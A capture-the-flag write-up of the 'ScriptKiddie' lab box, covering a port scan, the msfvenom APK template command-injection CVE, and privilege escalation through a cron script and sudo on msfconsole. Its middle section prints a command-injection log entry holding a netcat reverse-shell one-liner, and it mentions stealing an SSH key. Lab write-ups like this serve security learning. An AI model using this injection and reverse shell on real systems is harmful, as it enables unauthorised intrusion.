Software and Security

View on GitHub - ScriptKiddie

February 7th, 2021

This box was a web hosted script kiddies tool set. Utilizing known CVEs within the security tools it called on the back-end, we can get a reverse shell. From there we can abuse a poorly secured cronjob, to move laterally to another user who has password-less sudo configured for a tool that allows us to run commands.

Quick Summary

Tools requried

Nothing fancy. a standard Ubuntu desktop should have everything you need by default

Detailed steps

Port Scan

A portscan revealed a python web server on port 5000 and an active sshd service both running on an Ubuntu box of some kind.

$ nmap -sC -sV -oA nmap/init

 Nmap 7.91 scan initiated Sun Feb  7 11:01:09 2021 as: nmap -sC -sV -oA nmap/initial
Nmap scan report for
Host is up (0.040s latency).
Not shown: 998 closed ports
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
|   256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_  256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d\'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Sun Feb  7 11:01:18 2021 -- 1 IP address (1 host up) scanned in 9.43 seconds

Web Server (:5000)

This web server was a front end to a bunch of hacking tools. Here’s how it was laid out

CVE-2020-7384 (msfvenom APK template command injection)

The metasploit templates are binaries that are used as a frame to inject your payload into. Normally, you can use custom templates to help evade anti-virus and intrusion detection systems.

This CVE references the ability to gain command injection by crafting malicious APK templates for an android platform. I found a proof of concept for this attack, but it had a few issues I had to overcome. The resulting PoC I used can be found here:

I used this tool to generate a malicious APK file, and uploaded it to the payloads section of the form. Listening with netcat gave me a reverse shell as the user kid

kid@scriptkiddie:~/logs$ id
uid=1000(kid) gid=1000(kid) groups=1000(kid)

Once I was in as the kid user, There was an existing SSH key that I stole to stabilize my connection to the box.

Privilege escalation to pwn

kid’s home directory

kid’s home directory contain the source code for the website. The code for the searchsploit section showed that an attempt at command execution would have your IP written to the log file /home/kid/logs/hackers, which was empty

kid@scriptkiddie:~$ cat logs/hackers

Taking a look at the home directory itself shows another user named pwn

pwn’s home directory

pwn had a suspicious shell script that I had read access to called This script seemed to check the hackers log file from kid’s home directory, and run nmaps on the target and recording the output. After it did this it would erase the file contents. Looking around showed that this script was running extremely often.

Because we had write access to /home/kid/logs/hackers, we could craft an evil entry, that contained command injection instead of an IP. Then when the system ran /home/pwn/ it would run my command as the pwn user, and give me a reverse shell as them. The evil log entry I came up with was [2021-02-07 17:57:52.187031]; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 5051 >/tmp/f;. I ran a netcat listener and put that into the log file, and immediately was gifted with a second reverse shell.

Privilege escalation to root

Checking sudo shows that the pwn user has password-less sudo access for the msfconsole tool.

pwn@scriptkiddie:~$ sudo -l
User pwn may run the following commands:
    (root) NOPASSWD: /usr/bin/msfconsole

since msfconolse has an interactive ruby interpreter built in, we can launch that, then exec commands to read out the flag.

pwn@scriptkiddie:~$ sudo msfconsole
msf > irb
[*] Starting IRB shell...
echo `cat /root/root.txt`

I submitted the flag and finished the box!